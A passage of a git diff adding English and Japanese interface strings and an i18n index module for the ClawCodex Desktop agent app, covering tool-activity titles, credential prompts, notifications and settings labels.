+      statusError: 'Error',
+      statusRecovered: 'Recovered',
+      statusDone: 'Done',
+      memoryWriteNoted: 'Memory write noted',
+      actions: {
+        read: 'Read',
+        reading: 'Reading',
+        opened: 'Opened',
+        opening: 'Opening',
+        failedToOpen: 'Failed to open',
+        searched: 'Searched',
+        searching: 'Searching',
+        ran: 'Ran',
+        running: 'Running',
+        ranCode: 'Ran code',
+        runningCode: 'Scripting'
+      },
+      prefixes: {
+        browser: 'Browser',
+        web: 'Web'
+      },
+      titleTemplates: {
+        actionCommand: (action, command) => `${action} ${command}`,
+        actionQuoted: (action, value) => `${action} “${value}”`,
+        actionTarget: (action, target) => `${action} ${target}`,
+        prefixedDone: (prefix, action) => `${prefix} ${action}`,
+        runningPrefixedTool: (prefix, action) => `Running ${prefix.toLowerCase()} ${action.toLowerCase()}`,
+        runningTool: action => `Running ${action.toLowerCase()}`
+      },
+      titles: {
+        browser_click: { done: 'Clicked page element', pending: 'Clicking page element', pendingAction: 'Clicking' },
+        browser_fill: { done: 'Filled form field', pending: 'Filling form field', pendingAction: 'Filling' },
+        browser_navigate: { done: 'Opened page', pending: 'Opening page', pendingAction: 'Opening' },
+        browser_snapshot: {
+          done: 'Captured page snapshot',
+          pending: 'Capturing page snapshot',
+          pendingAction: 'Capturing'
+        },
+        browser_take_screenshot: {
+          done: 'Captured screenshot',
+          pending: 'Capturing screenshot',
+          pendingAction: 'Capturing'
+        },
+        browser_type: { done: 'Typed on page', pending: 'Typing on page', pendingAction: 'Typing' },
+        clarify: { done: 'Asked a question', pending: 'Asking a question', pendingAction: 'Asking' },
+        cronjob: { done: 'Cron job', pending: 'Scheduling cron job', pendingAction: 'Scheduling' },
+        edit_file: { done: 'Edited file', pending: 'Editing file', pendingAction: 'Editing' },
+        execute_code: { done: 'Ran code', pending: 'Scripting', pendingAction: 'Scripting' },
+        image_generate: { done: 'Generated image', pending: 'Generating image', pendingAction: 'Generating' },
+        list_files: { done: 'Listed files', pending: 'Listing files', pendingAction: 'Listing' },
+        memory: { done: 'Saved to memory', pending: 'Saving to memory', pendingAction: 'Saving' },
+        patch: { done: 'Patched file', pending: 'Patching file', pendingAction: 'Patching' },
+        read_file: { done: 'Read file', pending: 'Reading file', pendingAction: 'Reading' },
+        search_files: { done: 'Searched files', pending: 'Searching files', pendingAction: 'Searching' },
+        session_search_recall: {
+          done: 'Searched session history',
+          pending: 'Searching session history',
+          pendingAction: 'Searching'
+        },
+        terminal: { done: 'Ran command', pending: 'Running command', pendingAction: 'Running' },
+        todo: { done: 'Updated todos', pending: 'Updating todos', pendingAction: 'Updating' },
+        vision_analyze: { done: 'Analyzed image', pending: 'Analyzing image', pendingAction: 'Analyzing' },
+        web_extract: { done: 'Read webpage', pending: 'Reading webpage', pendingAction: 'Reading' },
+        web_search: { done: 'Searched web', pending: 'Searching web', pendingAction: 'Searching' },
+        write_file: { done: 'Edited file', pending: 'Editing file', pendingAction: 'Editing' }
+      }
+    }
+  },
+
+  prompts: {
+    gatewayDisconnected: 'ClawCodex gateway is not connected',
+    sudoSendFailed: 'Could not send sudo password',
+    secretSendFailed: 'Could not send secret',
+    sudoTitle: 'Administrator password',
+    sudoDesc: 'ClawCodex needs your sudo password to run a privileged command. It is sent only to your local agent.',
+    sudoPlaceholder: 'sudo password',
+    secretTitle: 'Secret required',
+    secretDesc: 'ClawCodex needs a credential to continue.',
+    secretPlaceholder: 'secret value'
+  },
+
+  desktop: {
+    audioReadFailed: 'Could not read recorded audio',
+    sessionUnavailable: 'Session unavailable',
+    createSessionFailed: 'Could not create a new session',
+    promptFailed: 'Prompt failed',
+    providerCredentialRequired: 'Add a provider credential before sending your first message.',
+    emptySlashCommand: 'empty slash command',
+    desktopCommands: 'Desktop commands',
+    skillCommandsAvailable: count => `${count} skill commands available.`,
+    warningLine: message => `warning: ${message}`,
+    yoloArmed: 'YOLO armed for this chat',
+    yoloOff: 'YOLO off',
+    yoloSystem: active => `YOLO ${active ? 'on' : 'off'} for this session`,
+    yoloTitle: 'YOLO',
+    yoloToggleFailed: 'Could not toggle YOLO',
+    profileStatus: current =>
+      `Profile: ${current}. Use /profile <name> or the "New session" picker to start a chat in another profile.`,
+    unknownProfile: 'Unknown profile',
+    noProfileNamed: (target, available) => `No profile named "${target}". Available: ${available}`,
+    newChatsProfile: name => `New chats will use profile ${name}.`,
+    setProfileFailed: 'Failed to set profile',
+    sttDisabled: 'Speech-to-text is disabled in settings.',
+    stopFailed: 'Stop failed',
+    regenerateFailed: 'Regenerate failed',
+    editFailed: 'Edit failed',
+    resumeFailed: 'Resume failed',
+    resumeStrandedTitle: "Couldn't load this session",
+    resumeStrandedBody:
+      'The connection to this session failed and automatic retries gave up. Check that the gateway is running, then try again.',
+    resumeRetry: 'Retry',
+    nothingToBranch: 'Nothing to branch',
+    branchNeedsChat: 'Start or resume a chat before branching.',
+    sessionBusy: 'Session busy',
+    branchStopCurrent: 'Stop the current turn before branching this chat.',
+    branchNoText: 'This message has no text to branch from.',
+    branchTitle: n => `Draft: Branch #${n}`,
+    branchFailed: 'Branch failed',
+    deleteFailed: 'Delete failed',
+    archived: 'Archived',
+    archiveFailed: 'Archive failed',
+    cwdChangeFailed: 'Working directory change failed',
+    cwdStagedTitle: 'Working directory staged',
+    cwdStagedMessage: 'Restart the desktop backend to apply cwd changes to this active session.',
+    modelSwitchFailed: 'Model switch failed',
+    sessionExported: 'Session exported',
+    sessionExportFailed: 'Could not export session',
+    imageSaved: 'Image saved',
+    downloadStarted: 'Download started',
+    restartToUseSaveImage: 'Restart ClawCodex Desktop to use Save Image.',
+    restartToSaveImages: 'Restart ClawCodex Desktop to save images',
+    imageDownloadFailed: 'Image download failed',
+    openImage: 'Open image',
+    downloadImage: 'Download image',
+    savingImage: 'Saving image',
+    imagePreviewFailed: 'Image preview failed',
+    imageAttach: 'Image attach',
+    imageWriteFailed: 'Failed to write image to disk.',
+    imageAttachFailed: 'Image attach failed',
+    attachImages: 'Attach images',
+    clipboard: 'Clipboard',
+    noClipboardImage: 'No image found in clipboard',
+    clipboardPasteFailed: 'Clipboard paste failed',
+    dropFiles: 'Drop files',
+    handoff: {
+      pickPlatform: 'Choose a destination',
+      success: platform => `Handed off to ${platform}. Resume here anytime.`,
+      systemNote: platform => `↻ Handed off to ${platform} — resume here anytime.`,
+      failed: error => `Handoff failed: ${error}`,
+      timedOut: 'Timed out waiting for the gateway. Is `clawcodex gateway` running?'
+    }
+  },
+
+  errors: {
+    genericFailure: 'Something went wrong',
+    boundaryTitle: 'Something broke in the interface',
+    boundaryDesc: 'The view hit an unexpected error. Your chats and settings are safe.',
+    reloadWindow: 'Reload window',
+    openLogs: 'Open logs'
+  },
+
+  ui: {
+    search: {
+      clear: 'Clear search'
+    },
+    pagination: {
+      label: 'pagination',
+      previous: 'Prev',
+      previousAria: 'Go to previous page',
+      next: 'Next',
+      nextAria: 'Go to next page'
+    },
+    sidebar: {
+      title: 'Sidebar',
+      description: 'Displays the mobile sidebar.',
+      toggle: open => `${open ? 'Show' : 'Hide'} sidebar`
+    }
+  }
+}
diff --git a/ui-desktop/src/i18n/index.ts b/ui-desktop/src/i18n/index.ts
new file mode 100644
index 000000000..6d8583788
--- /dev/null
+++ b/ui-desktop/src/i18n/index.ts
@@ -0,0 +1,31 @@
+export { TRANSLATIONS } from './catalog'
+export {
+  getConfigDisplayLanguage,
+  type I18nConfigClient,
+  type I18nContextValue,
+  I18nProvider,
+  LOCALE_META,
+  useI18n,
+  withConfigDisplayLanguage
+} from './context'
+export {
+  DEFAULT_LOCALE,
+  isLocale,
+  isSupportedLocaleValue,
+  LOCALE_OPTIONS,
+  localeConfigValue,
+  normalizeLocale
+} from './languages'
+export {
+  createPluginI18n,
+  type PluginI18n,
+  type PluginLocaleBundles,
+  type PluginMessages,
+  type PluginMessageValue,
+  type PluginTranslate,
+  registerPluginLocales,
+  translatePlugin,
+  usePluginI18n
+} from './plugin-i18n'
+export { setRuntimeI18nLocale, translateNow } from './runtime'
+export type { Locale, ToolTitleKey, Translations } from './types'
diff --git a/ui-desktop/src/i18n/ja.ts b/ui-desktop/src/i18n/ja.ts
new file mode 100644
index 000000000..689fb002c
--- /dev/null
+++ b/ui-desktop/src/i18n/ja.ts
@@ -0,0 +1,2824 @@
+import { defineFieldCopy } from '@/app/settings/field-copy'
+
+import { defineLocale } from './define-locale'
+
+export const ja = defineLocale({
+  common: {
+    apply: '適用',
+    back: '戻る',
+    save: '保存',
+    saving: '保存中…',
+    cancel: 'キャンセル',
+    change: '変更',
+    choose: '選択',
+    clear: 'クリア',
+    close: '閉じる',
+    collapse: '折りたたむ',
+    confirm: '確認',
+    connect: '接続',
+    connecting: '接続中',
+    continue: '続ける',
+    copied: 'コピーしました',
+    copy: 'コピー',
+    copyFailed: 'コピーに失敗しました',
+    delete: '削除',
+    docs: 'ドキュメント',
+    done: '完了',
+    error: 'エラー',
+    expand: '展開',
+    failed: '失敗',
+    formatJson: 'JSON を整形',
+    free: '無料',
+    loading: '読み込み中…',
+    notSet: '未設定',
+    refresh: '更新',
+    remove: '削除',
+    replace: '置き換え',
+    retry: '再試行',
+    run: '実行',
+    send: '送信',
+    set: '設定',
+    skip: 'スキップ',
+    update: '更新',
+    tryHint: term => `「${term}」を試す`,
+    on: 'オン',
+    off: 'オフ'
+  },
+
+  fileMenu: {
+    revealFinder: 'Finder で表示',
+    revealExplorer: 'エクスプローラーで表示',
+    revealFileManager: '格納フォルダーを開く',
+    revealInSidebar: 'ファイルツリーで表示',
+    copyPath: 'パスをコピー',
+    copyRelativePath: '相対パスをコピー',
+    rename: '名前を変更…',
+    delete: '削除',
+    renameTitle: '名前を変更',
+    renameLabel: '新しい名前',
+    deleteTitle: name => `${name} を削除しますか？`,
+    deleteBody: 'ゴミ箱に移動します。そこから復元できます。',
+    pathCopied: 'パスをコピーしました'
+  },
+
+  boot: {
+    ready: 'ClawCodex Desktop の準備ができました',
+    desktopBootFailedWithMessage: message => `デスクトップの起動に失敗しました: ${message}`,
+    steps: {
+      connectingGateway: 'ライブデスクトップゲートウェイに接続中',
+      loadingSettings: 'ClawCodex の設定を読み込み中',
+      loadingSessions: '最近のセッションを読み込み中',
+      startingDesktopConnection: 'デスクトップ接続を開始中',
+      startingClawCodexDesktop: 'ClawCodex Desktop を起動中…'
+    },
+    errors: {
+      backgroundExited: 'ClawCodex バックグラウンドプロセスが終了しました。',
+      backgroundExitedDuringStartup: '起動中に ClawCodex バックグラウンドプロセスが終了しました。',
+      backendStopped: 'バックエンドが停止しました',
+      desktopBootFailed: 'デスクトップの起動に失敗しました',
+      gatewayConnectionLost: 'ゲートウェイへの接続が切断されました',
+      gatewaySignInRequired: 'ゲートウェイへのサインインが必要です',
+      ipcBridgeUnavailable: 'デスクトップ IPC ブリッジが利用できません。'
+    },
+    failure: {
+      title: 'ClawCodex を起動できませんでした',
+      description:
+        'バックグラウンドゲートウェイが起動しませんでした。以下の回復手順をお試しください。チャットや設定は削除されません。',
+      remoteTitle: 'リモートゲートウェイへのサインインが必要です',
+      remoteDescription:
+        'リモートゲートウェイのセッションが期限切れです。再接続するにはもう一度サインインしてください。チャットや設定は削除されません。',
+      retry: '再試行',
+      repairInstall: 'インストールを修復',
+      useLocalGateway: 'ローカルゲートウェイを使用',
+      gatewaySettings: 'ゲートウェイ設定',
+      back: '戻る',
+      openLogs: 'ログを開く',
+      repairHint: '修復はインストーラーを再実行します。新しいマシンでは数分かかる場合があります。',
+      remoteSignInHint: signInLabel =>
+        `保存済みのリモートブラウザセッションからサインアウトし、${signInLabel}を開きます。代わりにバンドルされたバックエンドに切り替えるには「ローカルゲートウェイを使用」を選択してください。`,
+      signOutAndSignIn: 'サインアウトして再サインイン',
+      remoteFailureHint:
+        '「ゲートウェイ設定」でゲートウェイの URL とサインインを確認するか、ローカルゲートウェイに切り替えてください。',
+      hideRecentLogs: '最近のログを非表示',
+      showRecentLogs: '最近のログを表示',
+      signedInTitle: 'サインインしました',
+      signedInMessage: 'リモートゲートウェイに再接続中…',
+      signInIncompleteTitle: 'サインインが完了していません',
+      signInIncompleteMessage: '認証が完了する前にログインウィンドウが閉じられました。',
+      signInFailed: 'サインインに失敗しました',
+      signInToRemoteGateway: 'リモートゲートウェイにサインイン',
+      signInWithProvider: provider => `${provider} でサインイン`,
+      identityProvider: 'ID プロバイダー'
+    }
+  },
+
+  notifications: {
+    region: '通知',
+    hide: '非表示',
+    show: '表示',
+    more: count => `他 ${count} 件の通知`,
+    clearAll: 'すべてクリア',
+    dismiss: '通知を閉じる',
+    details: '詳細',
+    copyDetail: '詳細をコピー',
+    copyDetailFailed: '通知の詳細をコピーできませんでした',
+    backendOutOfDateTitle: 'バックエンドが古いです',
+    backendOutOfDateMessage:
+      'ClawCodex バックエンドがこのデスクトップビルドより古く、正常に動作しない場合があります。更新して揃えてください。',
+    installMethodUnsupportedTitle: 'サポート対象外のインストール方法',
+    updateClawCodex: 'ClawCodex を更新',
+    updateReadyTitle: '更新の準備ができました',
+    updateReadyMessage: count => `${count} 件の新しい変更が利用可能です。`,
+    seeWhatsNew: '新機能を見る',
+    errors: {
+      elevenLabsNeedsKey: 'ElevenLabs STT には ELEVENLABS_API_KEY が必要です。',
+      elevenLabsRejectedKey: 'ElevenLabs が API キーを拒否しました (401)。',
+      diskFull: 'ディスク容量不足です — 空きを作ってからもう一度お試しください。',
+      gatewayAuthFailed: 'ゲートウェイ認証に失敗しました — API_SERVER_KEY を確認してください。',
+      methodNotAllowed:
+        'デスクトップバックエンドがそのリクエストを拒否しました (405 Method Not Allowed)。ClawCodex Desktop を再起動してください。',
+      microphonePermission: 'マイクのアクセス許可が拒否されました。',
+      openaiRejectedApiKey: 'OpenAI が API キーを拒否しました。',
+      openaiRejectedApiKeyWithStatus: status => `OpenAI が API キーを拒否しました (${status} invalid_api_key)。`,
+      openaiTtsNeedsKey: 'OpenAI TTS には VOICE_TOOLS_OPENAI_KEY または OPENAI_API_KEY が必要です。'
+    },
+    voice: {
+      configureSpeechToText: '音声モードを使用するには音声認識を設定してください。',
+      couldNotStartSession: '音声セッションを開始できませんでした',
+      microphoneAccessDenied: 'マイクへのアクセスが拒否されました。',
+      microphoneConstraintsUnsupported: 'このデバイスはマイクの制約をサポートしていません。',
+      microphoneFailed: 'マイクが失敗しました',
+      microphoneInUse: 'マイクは他のアプリで使用中です。',
+      microphonePermissionDenied: 'マイクのアクセス許可が拒否されました。',
+      microphoneStartFailed: 'マイクの録音を開始できませんでした。',
+      microphoneUnsupported: 'このランタイムはマイク録音をサポートしていません。',
+      noMicrophone: 'マイクが見つかりませんでした。',
+      noSpeechDetected: '音声が検出されませんでした',
+      playbackFailed: '音声再生に失敗しました',
+      recordingFailed: '音声録音に失敗しました',
+      sayStopToEnd: phrase => `「${phrase}」と言うと音声チャットを終了できます。`,
+      transcriptionFailed: '音声文字起こしに失敗しました',
+      transcriptionUnavailable: '音声文字起こしはまだ利用できません。',
+      tryRecordingAgain: 'もう一度録音してください。',
+      unavailable: '音声は利用できません'
+    },
+    native: {
+      approvalTitle: '承認が必要です',
+      approveAction: '承認',
+      rejectAction: '拒否',
+      inputTitle: '入力が必要です',
+      inputBody: 'ClawCodex が応答を待っています。',
+      turnDoneTitle: 'ClawCodex が完了しました',
+      turnDoneBody: '',
+      turnErrorTitle: 'ターンが失敗しました',
+      backgroundDoneTitle: 'バックグラウンドタスクが完了しました',
+      backgroundFailedTitle: 'バックグラウンドタスクが失敗しました',
+      creditsTitle: 'クレジット'
+    }
+  },
+
+  remoteDisplayBanner: {
+    message: reason =>
+      `ソフトウェアレンダリングが有効です — リモートディスプレイを検出しました（${reason}）。ちらつきを防ぐため GPU アクセラレーションは無効化されています。`
+  },
+
+  billingBlock: {
+    titleNous: 'Nous クレジットが不足しています',
+    titleProvider: provider => `クレジット不足 — ${provider}`,
+    fallbackMessage: 'アカウントのクレジットが不足しています。続行するにはクレジットを追加してください。',
+    openBilling: '請求を開く',
+    addCredits: 'クレジットを追加',
+    dismiss: '閉じる'
+  },
+
+  titlebar: {
+    hideSidebar: 'サイドバーを非表示',
+    showSidebar: 'サイドバーを表示',
+    search: '検索',
+    searchTitle: 'セッション、ビュー、アクションを検索',
+    swapSidebarSides: 'サイドバーの向きを切り替え',
+    hideRightSidebar: '右サイドバーを非表示',
+    showRightSidebar: '右サイドバーを表示',
+    muteHaptics: '触覚フィードバックをオフ',
+    unmuteHaptics: '触覚フィードバックをオン',
+    openSettings: '設定を開く',
+    openStarmap: 'メモリグラフを開く'
+  },
+
+  language: {
+    label: '言語',
+    description: 'デスクトップインターフェイスの言語を選択します。',
+    saving: '言語を保存中…',
+    saveError: '言語の更新に失敗しました',
+    switchTo: '言語を切り替え',
+    searchPlaceholder: '言語を検索…',
+    noResults: '言語が見つかりません'
+  },
+
+  settings: {
+    closeSettings: '設定を閉じる',
+    exportConfig: '設定を書き出す',
+    importConfig: '設定を読み込む',
+    resetToDefaults: 'デフォルトに戻す',
+    resetConfirm: 'すべての設定を ClawCodex のデフォルトに戻しますか？',
+    exportFailed: '書き出しに失敗しました',
+    resetFailed: 'リセットに失敗しました',
+    nav: {
+      providers: 'プロバイダー',
+      providerAccounts: 'アカウント',
+      providerApiKeys: 'API キー',
+      providerCustomEndpoints: 'カスタムエンドポイント',
+      gateway: 'ゲートウェイ',
+      apiKeys: 'ツールとキー',
+      keybinds: 'キーボードショートカット',
+      keysTools: 'ツール',
+      keysSettings: '設定',
+      mcp: 'MCP',
+      archivedChats: 'アーカイブ済みチャット',
+      about: '情報',
+      billing: '請求',
+      notifications: '通知'
+    },
+    notifications: {
+      title: '通知',
+      intro: 'アプリ内トーストとは別の、ネイティブのデスクトップ通知です。設定は端末ごとに保存されます。',
+      enableAll: '通知を有効にする',
+      enableAllDesc: 'オフで以下の通知をすべて無効にします。',
+      focusedHint: '完了通知は ClawCodex がバックグラウンドにあるときのみ表示されます。',
+      kinds: {
+        approval: {
+          label: '承認が必要',
+          description: 'コマンドが承認または拒否を待っています。'
+        },
+        input: {
+          label: '入力が必要',
+          description: 'ClawCodex が質問したか、パスワードやシークレットを必要としています。'
+        },
+        turnDone: {
+          label: '応答完了',
+          description: 'ClawCodex がバックグラウンドのときにターンが完了しました。'
+        },
+        turnError: {
+          label: 'ターン失敗',
+          description: 'バックグラウンドのターンエラー。'
+        },
+        backgroundDone: {
+          label: 'バックグラウンドタスク完了',
+          description: 'バックグラウンドのターミナルコマンドが完了しました。'
+        },
+        credits: {
+          label: 'クレジット通知',
+          description: 'クレジットの利用が停止または復旧しました。'
+        },
+        plugin: {
+          label: 'プラグイン通知',
+          description: 'ClawCodex がバックグラウンドの間に、デスクトッププラグインが通知を送信しました。'
+        }
+      },
+      test: 'テスト通知を送信',
+      testTitle: 'ClawCodex',
+      testBody: '通知は正常に動作しています。',
+      testSent:
+        'テストを送信しました。表示されない場合は、OS の通知許可と集中モード／おやすみモードを確認してください。',
+      testUnsupported: 'このシステムはネイティブ通知に対応していません。',
+      completionSoundTitle: '完了サウンド',
+      completionSoundDesc: 'エージェントのターン終了時に再生されます。プリセットを選んでここで試聴できます。',
+      completionSoundPreview: '試聴'
+    },
+    sections: {
+      model: 'モデル',
+      chat: 'チャット',
+      appearance: '外観',
+      workspace: 'ワークスペース',
+      safety: '安全性',
+      memory: 'メモリとコンテキスト',
+      voice: '音声',
+      advanced: '詳細'
+    },
+    searchPlaceholder: {
+      about: 'ClawCodex Desktop について',
+      config: '設定を検索…',
+      gateway: 'ゲートウェイ接続…',
+      keys: 'API キーを検索…',
+      mcp: 'MCP サーバーを検索…',
+      sessions: 'アーカイブ済みセッションを検索…'
+    },
+    modeOptions: {
+      light: { label: 'ライト', description: '明るいデスクトップ表示' },
+      dark: { label: 'ダーク', description: 'まぶしさを抑えたワークスペース' },
+      system: { label: 'システム', description: 'OS の外観に合わせる' }
+    },
+    appearance: {
+      title: '外観',
+      intro:
+        'デスクトップ専用の表示設定です。モードは明るさ、テーマはアクセントカラーとチャット面のスタイルを制御します。',
+      colorMode: 'カラーモード',
+      colorModeDesc: '固定モードを選ぶか、ClawCodex をシステム設定に合わせます。',
+      toolViewTitle: 'ツール呼び出しの表示',
+      toolViewDesc: 'プロダクト表示は生のツールペイロードを隠し、テクニカル表示は入出力をすべて表示します。',
+      uiScaleTitle: 'UI スケール',
+      uiScaleDesc: (percent: number) =>
+        `アプリ全体の文字と UI を拡大縮小します。Cmd/Ctrl と +、-、0 でも変更できます。現在: ${percent}%`,
+      terminalFontTitle: 'ターミナルフォント',
+      terminalFontDesc:
+        'Desktop のターミナルで使用するインストール済みフォントを選びます。Nerd Font は Powerlevel10k とシェルアイコンを表示できます。空欄では内蔵の JetBrains Mono を使用します。',
+      terminalFontPlaceholder: 'MesloLGS NF または CSS フォントスタック',
+      terminalFontPreview: 'グリフのプレビュー',
+      terminalFontReset: '既定値を使用',
+      translucencyTitle: 'ウィンドウの透過',
+      translucencyDesc: 'ウィンドウ全体を透過させてデスクトップを表示します。macOS と Windows のみ。',
+      backdropTitle: 'チャット背景',
+      backdropDesc: '会話の背後に表示される淡い彫像の画像。',
+      reactionsTitle: 'メッセージリアクション',
+      reactionsDesc:
+        'iMessage風の絵文字タップバック — メッセージにリアクションでき、ClawCodexもあなたのメッセージにリアクションします。',
+      embedsTitle: 'インライン埋め込み',
+      embedsDesc:
+        'リッチプレビューは第三者サイト（YouTube、X など）から読み込まれます。確認は許可するまでプレースホルダーを表示し、常には自動で読み込み、オフはリンクのままにします。',
+      embedsAsk: '確認',
+      embedsAlways: '常に',
+      embedsOff: 'オフ',
+      embedsReset: (count: number) => `許可した${count}件のサービスをリセット`,
+      product: 'プロダクト',
+      productDesc: '読みやすいツール活動と簡潔な要約を表示します。',
+      technical: 'テクニカル',
+      technicalDesc: '生のツール引数、結果、低レベルの詳細を含めます。',
+      themeTitle: 'テーマ',
+      themeDesc: 'デスクトップ専用のパレットです。選択したモードの上に適用されます。',
+      themeProfileNote: profile =>
+        `「${profile}」プロファイルに保存されます。プロファイルごとに個別のテーマを保持します。`,
+      installTitle: 'VS Code から導入',
+      installDesc:
+        'Marketplace の拡張機能 ID（例: dracula-theme.theme-dracula）を貼り付けると、その配色テーマをデスクトップ用パレットに変換します。',
+      installPlaceholder: 'publisher.extension',
+      installButton: 'インストール',
+      installing: 'インストール中…',
+      installError: 'そのテーマをインストールできませんでした。',
+      installed: name => `「${name}」をインストールしました。`,
+      removeTheme: 'テーマを削除',
+      importedBadge: 'インポート済み',
+      pet: {
+        title: 'ペット',
+        intro:
+          'アプリ上に浮かぶ petdex のアニメーションマスコットを採用しましょう。ツール実行中は走り、成功すると喜び、エラーでしょんぼりと、ClawCodex の状態に反応します。',
+        restartHint:
+          'ペット機能には再起動が必要です。この機能が追加される前に起動したアプリが動作中です。ClawCodex を終了して再度開き、このページに戻ってください。',
+        scaleTitle: 'サイズ',
+        scaleDesc: '浮遊マスコットの大きさを変更します。すべての画面に即時反映されます。',
+        roamTitle: '散歩',
+        roamDesc: 'アイドル中にペットがウィンドウ内を自由に歩き回ります。',
+        on: 'オン',
+        off: 'オフ',
+        chooseTitle: 'ペットを選ぶ',
+        chooseDesc: '選ぶと（必要に応じて）インストールされ、アクティブになります。',
+        searchPlaceholder: 'ペットを検索…',
+        unreachable: 'petdex ギャラリーに接続できませんでした。接続を確認してこのページを開き直してください。',
+        noMatch: query => `「${query}」に一致するペットがありません。`,
+        installedTag: 'インストール済み',
+        generatedTag: '生成',
+        countCapped: (cap, total) => `${total} 件中 ${cap} 件を表示中——入力して絞り込めます。`,
+        count: n => `${n} 件のペット。`,
+        uninstall: name => `${name} をアンインストール`,
+        delete: name => `${name} を削除`,
+        deleteTitle: name => `${name} を削除しますか？`,
+        deleteBody: 'ペットを完全に削除します。再インストールはできません。',
+        deleteConfirm: '削除',
+        rename: name => `${name} の名前を変更`,
+        renameTitle: 'ペットの名前を変更',
+        renamePlaceholder: 'ペットに名前を付ける',
+        renameSave: '保存',
+        exportPet: name => `${name} をエクスポート`,
+        adoptFailed: slug => `${slug} を採用できませんでした`,
+        uninstallFailed: slug => `${slug} をアンインストールできませんでした`,
+        renameFailed: slug => `${slug} の名前を変更できませんでした`,
+        exportFailed: slug => `${slug} をエクスポートできませんでした`,
+        noneAvailable: 'オンにできるペットがありません。',
+        turnOnFailed: 'ペットをオンにできませんでした。',
+        turnOffFailed: 'ペットをオフにできませんでした。'
+      }
+    },
+    fieldLabels: defineFieldCopy({
+      model: 'デフォルトモデル',
+      modelContextLength: 'コンテキストウィンドウ',
+      fallbackProviders: 'フォールバックモデル',
+      toolsets: '有効なツールセット',
+      timezone: 'タイムゾーン',
+      display: {
+        personality: '人格',
+        showReasoning: '推論ブロック'
+      },
+      desktop: {
+        repoScanEnabled: 'リポジトリの自動検出',
+        repoScanRoots: 'リポジトリの検索ルート',
+        repoScanExcludePaths: '除外するリポジトリパス'
+      },
+      agent: {
+        maxTurns: '最大エージェントステップ',
+        imageInputMode: '画像添付',
+        apiMaxRetries: 'API 再試行回数',
+        serviceTier: 'サービス階層',
+        toolUseEnforcement: 'ツール使用の強制'
+      },
+      terminal: {
+        cwd: '作業ディレクトリ',
+        backend: '実行バックエンド',
+        timeout: 'コマンドタイムアウト',
+        persistentShell: '永続シェル',
+        envPassthrough: '環境変数の引き継ぎ',
+        dockerImage: 'Docker イメージ',
+        singularityImage: 'Singularity イメージ',
+        modalImage: 'Modal イメージ',
+        daytonaImage: 'Daytona イメージ'
+      },
+      fileReadMaxChars: 'ファイル読み取り上限',
+      toolOutput: {
+        maxBytes: 'ターミナル出力上限',
+        maxLines: 'ファイルページ上限',
+        maxLineLength: '行長上限'
+      },
+      codeExecution: {
+        mode: 'コード実行モード'
+      },
+      approvals: {
+        mode: '承認モード',
+        timeout: '承認タイムアウト',
+        mcpReloadConfirm: 'MCP 再読み込みの確認'
+      },
+      commandAllowlist: 'コマンド許可リスト',
+      security: {
+        redactSecrets: 'シークレットを伏せる',
+        allowPrivateUrls: 'プライベート URL を許可'
+      },
+      browser: {
+        allowPrivateUrls: 'ブラウザーのプライベート URL',
+        autoLocalForPrivateUrls: 'プライベート URL にはローカルブラウザーを使用'
+      },
+      checkpoints: {
+        enabled: 'ファイルチェックポイント',
+        maxSnapshots: 'チェックポイント上限'
+      },
+      voice: {
+        recordKey: '音声ショートカット',
+        maxRecordingSeconds: '最大録音時間',
+        autoTts: '応答を読み上げる'
+      },
+      stt: {
+        enabled: '音声認識',
+        provider: '音声認識プロバイダー',
+        local: {
+          model: 'ローカル文字起こしモデル',
+          language: '文字起こし言語'
+        },
+        openai: {
+          model: 'OpenAI STT モデル'
+        },
+        groq: {
+          model: 'Groq STT モデル'
+        },
+        mistral: {
+          model: 'Mistral STT モデル'
+        },
+        elevenlabs: {
+          modelId: 'ElevenLabs STT モデル',
+          languageCode: 'ElevenLabs 言語',
+          tagAudioEvents: '音声イベントをタグ付け',
+          diarize: '話者分離'
+        }
+      },
+      tts: {
+        provider: '音声合成プロバイダー',
+        edge: {
+          voice: 'Edge 音声'
+        },
+        openai: {
+          model: 'OpenAI TTS モデル',
+          voice: 'OpenAI 音声'
+        },
+        elevenlabs: {
+          voiceId: 'ElevenLabs 音声',
+          modelId: 'ElevenLabs モデル'
+        },
+        xai: {
+          voiceId: 'xAI (Grok) 音声',
+          language: 'xAI 言語',
+          speed: '再生速度',
+          autoSpeechTags: '自動音声タグ',
+          optimizeStreamingLatency: 'ストリーミング遅延最適化',
+          sampleRate: 'サンプルレート',
+          bitRate: 'ビットレート'
+        },
+        minimax: {
+          model: 'MiniMax TTS モデル',
+          voiceId: 'MiniMax 音声'
+        },
+        mistral: {
+          model: 'Mistral TTS モデル',
+          voiceId: 'Mistral 音声'
+        },
+        gemini: {
+          model: 'Gemini TTS モデル',
+          voice: 'Gemini 音声'
+        },
+        neutts: {
+          model: 'NeuTTS モデル',
+          device: 'NeuTTS デバイス'
+        },
+        kittentts: {
+          model: 'KittenTTS モデル',
+          voice: 'KittenTTS 音声'
+        },
+        piper: {
+          voice: 'Piper 音声'
+        }
+      },
+      memory: {
+        memoryEnabled: '永続メモリ',
+        userProfileEnabled: 'ユーザープロファイル',
+        memoryCharLimit: 'メモリ予算',
+        userCharLimit: 'プロファイル予算',
+        provider: 'メモリプロバイダー'
+      },
+      context: {
+        engine: 'コンテキストエンジン'
+      },
+      compression: {
+        enabled: '自動圧縮',
+        threshold: '圧縮しきい値',
+        targetRatio: '圧縮目標',
+        protectLastN: '保護する直近メッセージ'
+      },
+      delegation: {
+        model: 'サブエージェントモデル',
+        provider: 'サブエージェントプロバイダー',
+        maxIterations: 'サブエージェントターン上限',
+        maxConcurrentChildren: '並列サブエージェント',
+        childTimeoutSeconds: 'サブエージェントタイムアウト',
+        reasoningEffort: 'サブエージェント推論強度'
+      },
+      updates: {
+        nonInteractiveLocalChanges: 'アプリ内更新時のローカル変更'
+      }
+    }),
+    fieldDescriptions: defineFieldCopy({
+      model: 'コンポーザーで別のモデルを選ばない限り、新しいチャットで使用されます。',
+      modelContextLength: '0 のままにすると、選択したモデルから検出されたコンテキストウィンドウを使用します。',
+      fallbackProviders: 'デフォルトモデルが失敗したときに試す provider:model 形式のバックアップです。',
+      display: {
+        personality: '新しいセッションのデフォルトのアシスタントスタイルです。',
+        showReasoning: 'バックエンドが推論内容を提供したときに表示します。'
+      },
+      desktop: {
+        repoScanEnabled: 'ローカルフォルダを検索して Git リポジトリをプロジェクトに表示します。',
+        repoScanRoots: '検索するフォルダです。空の場合はホームディレクトリを検索します。',
+        repoScanExcludePaths: 'リポジトリ検出時に除外するフォルダとその配下です。'
+      },
+      timezone:
